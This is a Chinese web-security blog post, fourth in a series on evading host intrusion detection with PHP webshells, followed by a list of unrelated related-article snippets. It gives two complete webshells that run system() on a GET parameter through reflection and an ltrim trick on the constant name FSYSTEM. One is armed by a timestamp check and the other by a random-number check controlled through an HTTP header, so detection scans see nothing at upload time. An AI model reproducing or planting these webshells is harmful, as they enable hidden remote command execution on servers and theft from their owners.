当前位置: 首页 > article >正文

WEB安全--RCE--webshell HIDS bypass4

继WEB安全--RCE--webshell HIDS bypass3的补充:

十三、时间开关

webshell:

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
foreach ($function->getParameters() as $param) {$da = new DateTime();echo $da->getTimestamp();echo 'Name: ' . $param->getName() . PHP_EOL;$n='F';if ($param->isOptional()) {if($da->getTimestamp()>=1725329100||$n='1'){echo $n;}echo 'Default value: ' . ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());}echo PHP_EOL;
}
?>

原理:

核心位置

$n='F' 
if($da->getTimestamp()>=1725329100||$n='1'){echo $n;}

或运算符“||”也叫短路运算符,当前者成立就不会再判断后者了

我们回过头来看$da->getTimestamp()>=1725329100||$n='1' ,当$da->getTimestamp()>=1725329100为假,$n='1'就会执行赋值的操作,这时$n的值就由'F'变为'1',但是当$da->getTimestamp()>=1725329100为真,那么就不会执行$n='1'的操作,$n='F'的值就不变了。

我们的核心思想是:在上传webshell给hids检测时$da->getTimestamp()>=1725329100这个条件是假的,当然就不会被查杀,但是过了一段时间这个条件就为真了,我们这个时候访问webshell就能执行命令了。

function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');

创建一个函数传递内容,再用反射获取该函数

foreach ($function->getParameters() as $param) 

遍历取出内容

$param->getDefaultValueConstantName()

这里的参数为FSYSTEM

ltrim($param->getDefaultValueConstantName(),$n)

此时满足时间条件,$n='F',ltrim从参数的默认值常量名中去掉前导的$n,也就是说FSYSTEM会变成SYSTEM,就能构成命令执行

十四、随机开关

webshell:

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
$p = new ParseError($_SERVER[HTTP_A]);
foreach ($function->getParameters() as $param) {$da = new DateTime();echo $da->getTimestamp();echo 'Name: ' . $param->getName() . PHP_EOL;$n='F';if ($param->isOptional()) {if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){echo $n;}echo 'Default value: ' . 
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());}echo PHP_EOL;
}
?>

原理:

大致原理和时间开关相同。

核心位置

$p = new ParseError($_SERVER[HTTP_A]);
$n='F';
if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){echo $n;}

$p->getMessage()??100:指如果前者有值就取前者,反之取后者的值

mt_rand(1,10):在1-10的闭区间随机取一个值

思考:如果在ParseError()中传入55,那么$p->getMessage()的值就是55,也就是说mt_rand(55,55) ==>55,if(55==55 || $n='1')第一个条件为真就不会进行$n='1'的操作,$n='F',就能截取FSYSTEM中的F了。

相关文章:

WEB安全--RCE--webshell HIDS bypass4

继WEB安全--RCE--webshell HIDS bypass3的补充&#xff1a; 十三、时间开关 webshell&#xff1a; <?php ini_set("display_errors",1); function foo($test, $bar FSYSTEM) {echo $test . $bar; } $function new ReflectionFunction(foo); $q new ParseEr…...

基于python+Django+Mysql的校园二手交易市场

文章目录 基于pythonDjangoMysql的校园二手交易市场运行步骤系统设计功能设计任务目标用户特点参与者列表基本要求功能模块图 数据库设计会员用户信息表&#xff08;user_userinfo&#xff09;商品信息表&#xff08;goods_goodsinfo&#xff09;管理员用户信息表&#xff08;a…...

从零打造算法题刷题助手:Agent搭建保姆级攻略

我用Trae 做了一个有意思的Agent 「大厂机试助手」。 点击 https://s.trae.com.cn/a/d2a596 立即复刻&#xff0c;一起来玩吧&#xff01; Agent 简介 Agent名称为大厂机试助手&#xff0c;主要功能有以下三点。 解题&#xff1a; 根据用户给出的题目给出具体的解题思路引导做…...

Oracle 12c新增的数字转换验证VALIDATE_CONVERSION函数

Oracle 12c新增的数字转换验证函数 一、VALIDATE_CONVERSION函数&#xff08;12c R2新增&#xff09; Oracle 12c Release 2引入了原生验证函数&#xff0c;可直接判断字符串能否转换为指定类型&#xff1a; SELECT VALIDATE_CONVERSION(123.45 AS NUMBER) FROM dual; -- 返…...

参数/非参数检验和连续/离散/分类等变量类型的关系

参数统计方法通常应用于参数变量&#xff0c;但参数变量并不都是连续型变量。参数变量是指那些可以用参数&#xff08;如均值、方差等&#xff09;来描述其分布特征的变量。参数变量可以是连续型变量&#xff0c;也可以是离散型变量&#xff0c;只要它们遵循某种特定的分布&…...

懒人云电脑方案:飞牛NAS远程唤醒 + 节点小宝一键唤醒、远程控制Windows!

后台高频问题解答&#xff1a; “博主&#xff0c;飞牛NAS能定时开关机了&#xff0c;能不能让它顺便把家里Windows电脑也远程唤醒控制&#xff1f;最好点一下就能连&#xff0c;不用记IP端口那种&#xff01;” 安排&#xff01;今天这套方案完美实现&#xff1a; ✅ 飞牛NAS…...

【Python】第一弹:对 Python 的认知

目录 一、Python 的背景 1.1. Python 的由来 1.2 Python 的作用 1.3 Python 的优缺点 1.4 Python 的开发工具 一、Python 的背景 1.1. Python 的由来 Python 由荷兰数学和计算机科学研究学会的吉多・范罗苏姆 &#xff08;Guido van Rossum&#xff09;在 20 世纪 80 年代…...

直播预告 | 聚焦芯必达|打造可靠高效的国产 MCU 与智能 SBC 汽车解决方案

随着汽车电子国产化快速推进&#xff0c;车规级 MCU 与 CAN/LIN SBC 作为车身控制的核心组件&#xff0c;正面临更高的安全与可靠性挑战。品佳集团将携手芯必达微电子&#xff0c;深入剖析国产 MCU/SBC/智能 SBC 的最新技术与应用&#xff0c;助力企业打造高性能、可量产的国产…...

Java源码中有哪些细节可以参考?(持续更新)

欢迎来到啾啾的博客&#x1f431;。 记录学习点滴。分享工作思考和实用技巧&#xff0c;偶尔也分享一些杂谈&#x1f4ac;。 有很多很多不足的地方&#xff0c;欢迎评论交流&#xff0c;感谢您的阅读和评论&#x1f604;。 目录 String的比较final的使用transient避免序列化 St…...

GelSight Mini触觉传感器:7μm精度+3D 映射,赋能具身智能精密操作

GelSight Mini 高分辨率视触觉传感器采用先进的光学成像与触觉感知技术&#xff0c;赋予机器人接近人类的触觉能力。该设备可捕捉物体表面微观细节&#xff0c;并生成高精度的2D/3D数字映射&#xff0c;帮助机器人识别形状、纹理及接触力&#xff0c;从而执行更复杂、精准的操作…...

day 23 机器学习管道(pipeline)

在机器学习领域&#xff0c;“pipeline” 常被翻译为 “管道” 或 “流水线”&#xff0c;它是机器学习中极为重要的概念。在构建机器学习模型时&#xff0c;通常需按特定顺序对数据执行预处理、特征提取、模型训练以及模型评估等步骤&#xff0c;而使用 “pipeline” 能有效管…...

shell编程笔记

变量定义 在 Shell 中&#xff0c;变量定义无需声明类型&#xff0c;直接赋值即可。变量名区分大小写&#xff0c;建议使用大写字母命名环境变量&#xff0c;小写字母命名局部变量。赋值时等号&#xff08;&#xff09;两边不能有空格。 MY_VAR"Hello World" # 定…...

鸿蒙仓颉开发语言实战教程:自定义组件

关于仓颉开发语言我们已经连续分享了很多天&#xff0c;相信大家对于仓颉开发语言已经有了一定的了解。今天我们继续进阶&#xff0c;分享一个仓颉开发语言中的自定义组件知识。 本文案例就以上一篇文章中的自定义tabbar为例&#xff0c;因为我们自己开发的tabbar一直放在inde…...

基于Spring Boot+Vue 网上书城管理系统设计与实现(源码+文档+部署讲解)

技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论文…...

opencvsharp usb摄像头录像 c# H264编码

1.首先创建ConsoleApp&#xff0c;.Net 9.0&#xff0c;不要创建WinForm 。WInForm帧率和实际对不上&#xff0c;有延时。 2.下载opencvsharp。 3.下载openh264-1.8.0-win32.dll , openh264-1.8.0-win64.dll .放在根目录。 https://github.com/cisco/openh264 using OpenCv…...

ch12 课堂参考代码 及 题目参考思路

课堂参考代码 Bellman-Ford 主要思路&#xff1a;对所有的边进行 n-1 轮松弛操作 单源最短路算法&#xff0c; O ( n m ) O(nm) O(nm) using ll long long; const int maxn 5010, maxm 5010; struct Edge {int u, v, w; } E[maxm]; // d[u]: 当前 s 到 u 的最短路 ll d[m…...

uniapp 实现腾讯云 IM 消息已读回执

uniapp 实现腾讯云 IM 消息已读回执处理全攻略 一、功能实现原理 腾讯云 IM 的已读回执功能通过 消息已读上报机制 实现&#xff0c;核心流程如下&#xff1a; 接收方阅读消息时&#xff0c;客户端自动上报已读状态云端记录最新已读时间戳&#xff08;精确到会话维度&#x…...

JavaScript 性能优化按层次逐步分析

JavaScript 性能优化实战 &#x1f4a1; 本文数据基于Chrome 136实测验证&#xff0c;涵盖12项核心优化指标&#xff0c;通过20代码案例演示性能提升300%的实战技巧。 一、代码层深度优化 1. 高效数据操作&#xff08;百万级数据处理&#xff09; // 不良实践&#xff1a;频繁…...

三分钟打通Stable Diffusion提示词(附实战手册)

文章目录 一、提示词的本质是"思维翻译器"避坑指南1&#xff1a;三大常见翻车现场 二、结构化提示词公式&#xff08;抄作业版&#xff09;实战案例&#xff1a;生成赛博朋克猫咪 三、进阶玩家的秘密武器1. 权重控制大法2. 风格融合黑科技3. 时间轴控制 四、避不开的…...

【Linux网络篇】:初步理解应用层协议以及何为序列化和反序列化

✨感谢您阅读本篇文章&#xff0c;文章内容是个人学习笔记的整理&#xff0c;如果哪里有误的话还请您指正噢✨ ✨ 个人主页&#xff1a;余辉zmh–CSDN博客 ✨ 文章所属专栏&#xff1a;Linux篇–CSDN博客 文章目录 一.序列化和反序列化为什么需要序列化和反序列化为什么应用层…...

RK3588 Opencv-ffmpeg-rkmpp-rkrga编译与测试

RK3588 Opencv-ffmpeg-rkmpp-rkrga编译与测试 硬件背景说明编译环境准备1. 编译MPP(媒体处理平台)2. 编译RGA(图形加速库)3. 构建支持硬件加速的FFmpeg重要代码修改说明4. 验证安装5.FFmpeg转码测试OpenCV编译集成Python OpenCV+FFmpeg测试硬件背景说明 RK3588是瑞芯微推出…...

特伦斯 S75 电钢琴:奏响极致音乐体验的华丽乐章

在音乐爱好者增多、音乐教育普及&#xff0c;以及科技进步的推动下&#xff0c;电钢琴市场蓬勃发展。其在技术、品质和应用场景上变化巨大&#xff0c;高端化、个性化产品受青睐&#xff0c;应用场景愈发多元。在此背景下&#xff0c;特伦斯 S75 电钢琴以卓越性能和独特设计&am…...

硬件学习笔记--64 MCU的ARM核架构发展及特点

MCU&#xff08;微控制器&#xff09;的ARM核架构是当前嵌入式系统的主流选择&#xff0c;其基于ARM Cortex-M系列处理器内核&#xff0c;具有高性能、低功耗、丰富外设支持等特点。以下是ARM核MCU的主要架构及其发展&#xff1a; 1. ARM Cortex-M系列内核概览 ARM Cortex-M系…...

div或button一些好看实用的 CSS 样式示例

1&#xff1a;现代渐变按钮 .count {width: 800px;background: linear-gradient(135deg, #72EDF2 0%, #5151E5 100%);padding: 12px 24px;border-radius: 10px;box-shadow: 0 4px 15px rgba(81, 81, 229, 0.3);color: white;font-weight: bold;border: none;cursor: pointer;t…...

USB充电检测仪-2.USB充电检测仪硬件设计

本系列文章的最终目标是制作一个USB充电检测仪&#xff0c;支持的功能&#xff1a; 显示USB充电电压、电流、功率、充电量&#xff08;单位WH&#xff09;&#xff1b;实现Typec口和USB-A口的相互转换&#xff08;仅支持USB 2.0&#xff09;&#xff1b; 当然网上有很多卖这种…...

如何查询服务器的端口号

要查询服务器上某个服务正在使用的端口号&#xff0c;可以使用几个不同的工具和方法&#xff0c;具体方法取决于你对服务器的访问权限以及具体的操作系统。以下是一些常用的方法&#xff1a; 1. 在Linux系统上 1.1 使用 netstat 命令&#xff08;需要管理员权限&#xff09;&…...

AU6815集成音频DSP的2x25W数字型ClaSS D音频功率放大器(替代TAS5805)

1.特性 ● 输出配置 - 立体声 2.0: 2x25W (8Ω,21V,THD N 1%) - 立体声 2.0: 2x23W (6Ω, 18V,THD N 1%) ● 供电电压范围 - PVDD:4.5V-21V - DVDD: 1.8V 或者 3.3V ● 静态功耗 - 31.5mA at PVDD12V,BD - 18.5mA at PVDD12V,1SPW ● 音频性能指标 - Noise: ≤38uVrms - TH…...

DeepSeek R1开源模型的技术突破与AI产业格局的重构

引言​ 2025年&#xff0c;中国AI企业深度求索&#xff08;DeepSeek&#xff09;推出的开源模型DeepSeek-R1&#xff0c;以低成本、高性能和开放生态为核心特征&#xff0c;成为全球人工智能领域的技术焦点。这一模型不仅通过算法创新显著降低算力依赖&#xff0c;更通过开源策…...

打破认知壁垒重构科技驱动美好生活 大模型义务传播计划

这是一份从 CUDA 到 Agentic AI 的大模型算法工程师学习路线图&#xff0c;旨在帮助你系统地构建成为一名优秀大模型算法工程师所需的知识体系。 阶段一&#xff1a;基础夯实 &#x1f9f1; 这个阶段的目标是掌握编程、数学和机器学习的基础知识&#xff0c;为后续的深度学习和…...

【Web应用】 Java + Vue 前后端开发中的Cookie、Token 和 Swagger介绍

文章目录 前言一、Cookie二、Token三、Swagger总结 前言 在现代的 web 开发中&#xff0c;前后端分离的架构越来越受到欢迎&#xff0c;Java 和 Vue 是这一架构中常用的技术栈。在这个过程中&#xff0c;Cookie、Token 和 Swagger 是三个非常重要的概念。本文将对这三个词进行…...